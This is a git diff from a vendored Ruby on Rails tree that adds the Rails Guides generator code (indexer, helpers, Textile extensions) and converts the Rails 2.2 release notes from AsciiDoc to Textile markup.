+        if guide =~ /\.erb\.textile/
+          # Generate the erb pages with textile formatting - e.g. index/authors
+          result = view.render(:layout => 'layout', :file => name)
+          f.write textile(result)
+        else
+          body = File.read(File.join(view_path, guide))
+          body = set_header_section(body, @view)
+          body = set_index(body, @view)
+
+          result = view.render(:layout => 'layout', :text => textile(body))
+          f.write result
+        end
+      end
+    end
+
+    def set_header_section(body, view)
+      new_body = body.gsub(/(.*?)endprologue\./m, '').strip
+      header = $1
+
+      header =~ /h2\.(.*)/
+      page_title = $1.strip
+
+      header = textile(header)
+
+      view.content_for(:page_title) { page_title }
+      view.content_for(:header_section) { header }
+      new_body
+    end
+
+    def set_index(body, view)
+      index = <<-INDEX
+      

+        
Chapters

+        
    
+      INDEX
+
+      i = Indexer.new(body)
+      i.index
+
+      # Set index for 2 levels
+      i.level_hash.each do |key, value|
+        link = view.content_tag(:a, :href => key[:id]) { textile(key[:title]) }
+
+        children = value.keys.map do |k|
+          l = view.content_tag(:a, :href => k[:id]) { textile(k[:title]) }
+          view.content_tag(:li, l)
+        end
+
+        children_ul = view.content_tag(:ul, children)
+
+        index << view.content_tag(:li, link + children_ul)
+      end
+
+      index << '
'
+      index << '
'
+
+      view.content_for(:index_section) { index }
+
+      i.result
+    end
+
+    def textile(body)
+      t = RedCloth.new(body)
+      t.hard_breaks = false
+      t.to_html(:notestuff, :plusplus, :code, :tip)
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/helpers.rb b/vendor/rails/railties/guides/rails_guides/helpers.rb
new file mode 100644
index 00000000..e05793d4
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/helpers.rb
@@ -0,0 +1,34 @@
+module RailsGuides
+  module Helpers
+    def guide(name, url, options = {}, &block)
+      link = content_tag(:a, :href => url) { name }
+      result = content_tag(:dt, link)
+
+      if ticket = options[:ticket]
+        result << content_tag(:dd, lh(ticket), :class => 'ticket')
+      end
+
+      result << content_tag(:dd, capture(&block))
+      concat(result)
+    end
+
+    def lh(id, label = "Lighthouse Ticket")
+      url = "http://rails.lighthouseapp.com/projects/16213/tickets/#{id}"
+      content_tag(:a, label, :href => url)
+    end
+
+    def author(name, nick, image = 'credits_pic_blank.gif', &block)
+      image = "images/#{image}"
+
+      result = content_tag(:img, nil, :src => image, :class => 'left pic', :alt => name)
+      result << content_tag(:h3, name)
+      result << content_tag(:p, capture(&block))
+      concat content_tag(:div, result, :class => 'clearfix', :id => nick)
+    end
+
+    def code(&block)
+      c = capture(&block)
+      content_tag(:code, c)
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/indexer.rb b/vendor/rails/railties/guides/rails_guides/indexer.rb
new file mode 100644
index 00000000..7cb254d0
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/indexer.rb
@@ -0,0 +1,55 @@
+module RailsGuides
+  class Indexer
+    attr_reader :body, :result, :level_hash
+
+    def initialize(body)
+      @body = body
+      @result = @body.dup
+    end
+
+    def index
+      @level_hash = process(body)
+    end
+
+    private
+
+    def process(string, current_level= 3, counters = [1])
+      s = StringScanner.new(string)
+
+      level_hash = ActiveSupport::OrderedHash.new
+
+      while !s.eos?
+        s.match?(/\h[0-9]\..*$/)
+        if matched = s.matched
+          matched =~ /\h([0-9])\.(.*)$/
+          level, title = $1.to_i, $2
+
+          if level < current_level
+            # This is needed. Go figure.
+            return level_hash
+          elsif level == current_level
+            index = counters.join(".")
+            bookmark = '#' + title.gsub(/[^a-z0-9\-_]+/i, '').underscore.dasherize
+
+            raise "Parsing Fail" unless @result.sub!(matched, "h#{level}(#{bookmark}). #{index}#{title}")
+
+            key = {
+              :title => title,
+              :id => bookmark
+            }
+            # Recurse
+            counters << 1
+            level_hash[key] = process(s.post_match, current_level + 1, counters)
+            counters.pop
+
+            # Increment the current level
+            last = counters.pop
+            counters << last + 1
+          end
+        end
+        s.getch
+      end
+      level_hash
+    end
+  end
+end
diff --git a/vendor/rails/railties/guides/rails_guides/textile_extensions.rb b/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
new file mode 100644
index 00000000..7ebbf009
--- /dev/null
+++ b/vendor/rails/railties/guides/rails_guides/textile_extensions.rb
@@ -0,0 +1,41 @@
+module RailsGuides
+  module TextileExtensions
+    def notestuff(body)
+      body.gsub!(/^(IMPORTANT|CAUTION|WARNING|NOTE|INFO)(?:\.|\:)(.*)$/) do |m|
+        css_class = $1.downcase
+        css_class = 'warning' if ['caution', 'important'].include?(css_class)
+
+        result = "
"
+        result << $2.strip
+        result << '
'
+        result
+      end
+    end
+
+    def tip(body)
+      body.gsub!(/^(TIP)\:(.*)$/) do |m|
+        result = "
"
+        result << $2.strip
+        result << '
'
+        result
+      end
+    end
+
+    def plusplus(body)
+      body.gsub!(/\+(.*?)\+/) do |m|
+        "#{$1}"
+      end
+
+      # The real plus sign
+      body.gsub!('', '+')
+    end
+
+    def code(body)
+      body.gsub!(/\<(yaml|shell|ruby|erb|html|sql)\>(.*?)\<\/\1\>/m) do |m|
+        es = ERB::Util.h($2)
+        css_class = ['erb', 'shell'].include?($1) ? 'html' : $1
+        "#{es}\n"
+      end
+    end
+  end
+end
diff --git a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt b/vendor/rails/railties/guides/source/2_2_release_notes.textile
similarity index 61%
rename from vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
rename to vendor/rails/railties/guides/source/2_2_release_notes.textile
index d9192848..f60af010 100644
--- a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
+++ b/vendor/rails/railties/guides/source/2_2_release_notes.textile
@@ -1,70 +1,69 @@
-Ruby on Rails 2.2 Release Notes
-===============================
+h2. Ruby on Rails 2.2 Release Notes
 
-Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub.
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the "list of commits":http://github.com/rails/rails/commits/master in the main Rails repository on GitHub.
 
-Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails.
+Along with Rails, 2.2 marks the launch of the "Ruby on Rails Guides":http://guides.rubyonrails.org/, the first results of the ongoing "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide. This site will deliver high-quality documentation of the major features of Rails.
 
-== Infrastructure
+endprologue.
+
+h3. Infrastructure
 
 Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
 
-=== Internationalization
+h4. Internationalization
 
 Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
 
 * Lead Contributors: Rails i18 Team
 * More information :
-  - link:http://rails-i18n.org[Official Rails i18 website]
-  - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized]
-  - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application]
+** "Official Rails i18 website":http://rails-i18n.org
+** "Finally. Ruby on Rails gets internationalized":http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized
+** "Localizing Rails : Demo application":http://i18n-demo.phusion.nl
 
-=== Compatibility with Ruby 1.9 and JRuby
+h4. Compatibility with Ruby 1.9 and JRuby
 
 Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
 
-== Documentation
+h3. Documentation
 
-The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the "Ruby on Rails Guides":http://guides.rubyonrails.org/ project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
 
-* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails]
-* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations]
-* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations]
-* link:http://guides.rubyonrails.org/finders.html[Active Record Finders]
-* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails]
-* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers]
-* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In]
-* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller]
-* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching]
-* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications]
-* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications]
-* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications]
-* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
-* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins]
+* "Getting Started with Rails":http://guides.rubyonrails.org/getting_started_with_rails.html
+* "Rails Database Migrations":http://guides.rubyonrails.org/migrations.html
+* "Active Record Associations":http://guides.rubyonrails.org/association_basics.html
+* "Active Record Finders":http://guides.rubyonrails.org/finders.html
+* "Layouts and Rendering in Rails":http://guides.rubyonrails.org/layouts_and_rendering.html
+* "Action View Form Helpers":http://guides.rubyonrails.org/form_helpers.html
+* "Rails Routing from the Outside In":http://guides.rubyonrails.org/routing_outside_in.html
+* "Basics of Action Controller":http://guides.rubyonrails.org/actioncontroller_basics.html
+* "Rails Caching":http://guides.rubyonrails.org/caching_with_rails.html
+* "Testing Rails Applications":http://guides.rubyonrails.org/testing_rails_applications.html
+* "Securing Rails Applications":http://guides.rubyonrails.org/security.html
+* "Debugging Rails Applications":http://guides.rubyonrails.org/debugging_rails_applications.html
+* "Benchmarking and Profiling Rails Applications":http://guides.rubyonrails.org/benchmarking_and_profiling.html
+* "The Basics of Creating Rails Plugins":http://guides.rubyonrails.org/creating_plugins.html
 
 All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
 
 If you want to generate these guides locally, inside your application:
 
-[source, ruby]
--------------------------------------------------------
+
 rake doc:guides
--------------------------------------------------------
+
 
 This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
 
-* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team]
-* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai].
+* Lead Contributors: "Rails Documentation Team":http://guides.rails.info/credits.html
+* Major contributions from "Xavier Noria":http://advogato.org/person/fxn/diary.html and "Hongli Lai":http://izumi.plan99.net/blog/.
 * More information:
- - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]
- - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch]
+** "Rails Guides hackfest":http://hackfest.rubyonrails.org/guide
+** "Help improve Rails documentation on Git branch":http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch
 
-== Better integration with HTTP : Out of the box ETag support
+h3. Better integration with HTTP : Out of the box ETag support
 
 Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
 
-[source, ruby]
--------------------------------------------------------
+
 class ArticlesController < ApplicationController
   def show_with_respond_to_block
     @article = Article.find(params[:id])
@@ -94,61 +93,58 @@ class ArticlesController < ApplicationController
     fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
   end
 end
--------------------------------------------------------
+
 
-== Thread Safety
+h3. Thread Safety
 
 The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
 
 To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
 
-[source, ruby]
--------------------------------------------------------
+
 config.threadsafe!
--------------------------------------------------------
+
 
 * More information :
- - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails]
- - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement]
- - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means]
+** "Thread safety for your Rails":http://m.onkey.org/2008/10/23/thread-safety-for-your-rails
+** "Thread safety project announcement":http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core
+** "Q/A: What Thread-safe Rails Means":http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html
 
-== Active Record
+h3. Active Record
 
 There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
 
-=== Transactional Migrations
+h4. Transactional Migrations
 
 Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
 
-* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins]
+* Lead Contributor: "Adam Wiggins":http://adam.blog.heroku.com/
 * More information:
- - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions]
- - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails]
+** "DDL Transactions":http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/
+** "A major milestone for DB2 on Rails":http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/
 
-=== Connection Pooling
+h4. Connection Pooling
 
 Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
 
-[source, ruby]
--------------------------------------------------------
+
 development:
   adapter: mysql
   username: root
   database: sample_development
   pool: 10
   wait_timeout: 10
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger]
-* More information: 
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools]
+* Lead Contributor: "Nick Sieger":http://blog.nicksieger.com/
+* More information:
+** "What's New in Edge Rails: Connection Pools":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools
 
-=== Hashes for Join Table Conditions
+h4. Hashes for Join Table Conditions
 
 You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
 
-[source, ruby]
--------------------------------------------------------
+
 class Photo < ActiveRecord::Base
   belongs_to :product
 end
@@ -159,112 +155,107 @@ end
 
 # Get all products with copyright-free photos:
 Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
--------------------------------------------------------
+
 
 * More information:
- - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions]
+** "What's New in Edge Rails: Easy Join Table Conditions":http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions
 
-=== New Dynamic Finders
+h4. New Dynamic Finders
 
 Two new sets of methods have been added to Active Record's dynamic finders family.
 
-==== +find_last_by_+
+h5. +find_last_by_attribute+
 
-The +find_last_by_+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
-	
-[source, ruby]
--------------------------------------------------------
+The +find_last_by_attribute+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
+
+
 # Get the last user who signed up from London
 User.find_last_by_city('London')
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua]
+* Lead Contributor: "Emilio Tagua":http://www.workingwithrails.com/person/9147-emilio-tagua
 
-==== +find_by_!+ 
-	
-The new bang! version of +find_by_!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
-	
-[source, ruby]
--------------------------------------------------------
+h5. +find_by_attribute!+
+
+The new bang! version of +find_by_attribute!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+
 # Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
 User.find_by_name!('Moby')
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser]
+* Lead Contributor: "Josh Susser":http://blog.hasmanythrough.com
 
-=== Associations Respect Private/Protected Scope
+h4. Associations Respect Private/Protected Scope
 
 Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
 
 * Lead Contributor: Adam Milligan
 * More information:
- - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private]
+** "Rails 2.2 Change: Private Methods on Association Proxies are Private":http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/
 
-=== Other ActiveRecord Changes
+h4. Other ActiveRecord Changes
 
 * +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
-* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp. 
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
 * Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
 * +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
 
-== Action Controller
+h3. Action Controller
 
 On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
 
-=== Shallow Route Nesting
+h4. Shallow Route Nesting
 
-Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with. 
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
 
-[source, ruby]
--------------------------------------------------------
+
 map.resources :publishers, :shallow => true do |publisher|
   publisher.resources :magazines do |magazine|
     magazine.resources :photos
   end
 end
--------------------------------------------------------
+
 
 This will enable recognition of (among others) these routes:
 
--------------------------------------------------------
+
 /publishers/1           ==> publisher_path(1)
 /publishers/1/magazines ==> publisher_magazines_path(1)
 /magazines/2            ==> magazine_path(2)
 /magazines/2/photos     ==> magazines_photos_path(2)
 /photos/3               ==> photo_path(3)
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner]
-* More information: 
- - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In]
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes]
+* Lead Contributor: "S. Brent Faulkner":http://www.unwwwired.net/
+* More information:
+** "Rails Routing from the Outside In":http://guides.rails.info/routing/routing_outside_in.html#_nested_resources
+** "What's New in Edge Rails: Shallow Routes":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes
 
-=== Method Arrays for Member or Collection Routes
+h4. Method Arrays for Member or Collection Routes
 
 You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
 
-[source, ruby]
--------------------------------------------------------
+
 map.resources :photos, :collection => { :search => [:get, :post] }
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn]
+* Lead Contributor: "Brennan Dunn":http://brennandunn.com/
 
-=== Resources With Specific Actions
+h4. Resources With Specific Actions
 
 By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
 
-[source, ruby]
--------------------------------------------------------
+
 map.resources :photos, :only => [:index, :show]
 map.resources :products, :except => :destroy
--------------------------------------------------------
+
 
-* Lead Contributor: link:http://experthuman.com/[Tom Stuart]
+* Lead Contributor: "Tom Stuart":http://experthuman.com/
 
-=== Other Action Controller Changes
+h4. Other Action Controller Changes
 
-* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request.
+* You can now easily "show a custom error page":http://m.onkey.org/2008/7/20/rescue-from-dispatching for exceptions raised while routing a request.
 * The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.use_accept_header = true+.
 * Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
 * Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
@@ -273,94 +264,89 @@ map.resources :products, :except => :destroy
 * Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
 * Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
 
-== Action View
+h3. Action View
 
 * +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
 * The included Prototype javascript library has been upgraded to version 1.6.0.3.
 * +RJS#page.reload+ to reload the browser's current location via javascript
 * The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
 
-== Action Mailer
+h3. Action Mailer
 
 Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
 
 * More information:
- - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts]
+** "What's New in Edge Rails: Mailer Layouts":http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts
 
 Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
 
-== Active Support
+h3. Active Support
 
 Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
 
-=== Memoization
+h4. Memoization
 
 Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
 
-[source, ruby]
--------------------------------------------------------
+
 def full_name
   @full_name ||= "#{first_name} #{last_name}"
 end
--------------------------------------------------------
+
 
 Memoization lets you handle this task in a declarative fashion:
 
-[source, ruby]
--------------------------------------------------------
+
 extend ActiveSupport::Memoizable
 
 def full_name
   "#{first_name} #{last_name}"
 end
 memoize :full_name
--------------------------------------------------------
+
 
 Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
 
-* Lead Contributor: link:http://joshpeek.com/[Josh Peek]
+* Lead Contributor: "Josh Peek":http://joshpeek.com/
 * More information:
- - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization]
- - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization]
+** "What's New in Edge Rails: Easy Memoization":http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization
+** "Memo-what? A Guide to Memoization":http://www.railway.at/articles/2008/09/20/a-guide-to-memoization
 
-=== +each_with_object+
+h4. each_with_object
 
 The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
 
-[source, ruby]
--------------------------------------------------------
+
 %w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
--------------------------------------------------------
+
 
-Lead Contributor: link:http://therealadam.com/[Adam Keys]
+Lead Contributor: "Adam Keys":http://therealadam.com/
 
-=== Delegates With Prefixes
+h4. Delegates With Prefixes
 
 If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
 
-[source, ruby]
--------------------------------------------------------
+
 class Vendor < ActiveRecord::Base
   has_one :account
   delegate :email, :password, :to => :account, :prefix => true
 end
--------------------------------------------------------
+
 
 This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
 
-[source, ruby]
--------------------------------------------------------
+
 class Vendor < ActiveRecord::Base
   has_one :account
   delegate :email, :password, :to => :account, :prefix => :owner
 end
--------------------------------------------------------
+
 
 This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
 
-Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck]
+Lead Contributor: "Daniel Schierbeck":http://workingwithrails.com/person/5830-daniel-schierbeck
 
-=== Other Active Support Changes
+h4. Other Active Support Changes
 
 * Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
 * The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
@@ -372,11 +358,11 @@ Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck
 * The included TzInfo library has been upgraded to version 0.3.12.
 * +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
 
-== Railties
+h3. Railties
 
 In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
 
-=== +config.gems+
+h4. config.gems
 
 To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
 
@@ -390,15 +376,15 @@ To avoid deployment issues and make Rails applications more self-contained, it's
 
 You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
 
-* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones]
+* Lead Contributor: "Matt Jones":http://github.com/al2o3cr
 * More information:
- - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies]
- - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems]
- - link:http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128[Detailed discussion on Lighthouse]
+** "What's New in Edge Rails: Gem Dependencies":http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies
+** "Rails 2.1.2 and 2.2RC1: Update Your RubyGems":http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/
+** "Detailed discussion on Lighthouse":http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/tickets/1128
 
-=== Other Railties Changes
+h4. Other Railties Changes
 
-* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* If you're a fan of the "Thin":http://code.macournoyer.com/thin/ web server, you'll be happy to know that +script/server+ now supports Thin directly.
 * +script/plugin install  -r + now works with git-based as well as svn-based plugins.
 * +script/console+ now supports a +--debugger+ option
 * Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
@@ -406,25 +392,24 @@ You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the com
 * Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
 * To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
 
-== Deprecated
+h3. Deprecated
 
 A few pieces of older code are deprecated in this release:
 
 * +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
-* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality.
+* +render_component+ is deprecated. There's a "render_components plugin":http://github.com/rails/render_component/tree/master available if you need this functionality.
 * Implicit local assignments when rendering partials has been deprecated.
 
-[source, ruby]
--------------------------------------------------------
+
 def partial_with_implicit_local_assignment
   @customer = Customer.new("Marcel")
   render :partial => "customer"
 end
--------------------------------------------------------
+
 
 Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
 
-* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement.
+* +country_select+ has been removed. See the "deprecation page":http://www.rubyonrails.org/deprecation/list-of-countries for more information and a plugin replacement.
 * +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
 * +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
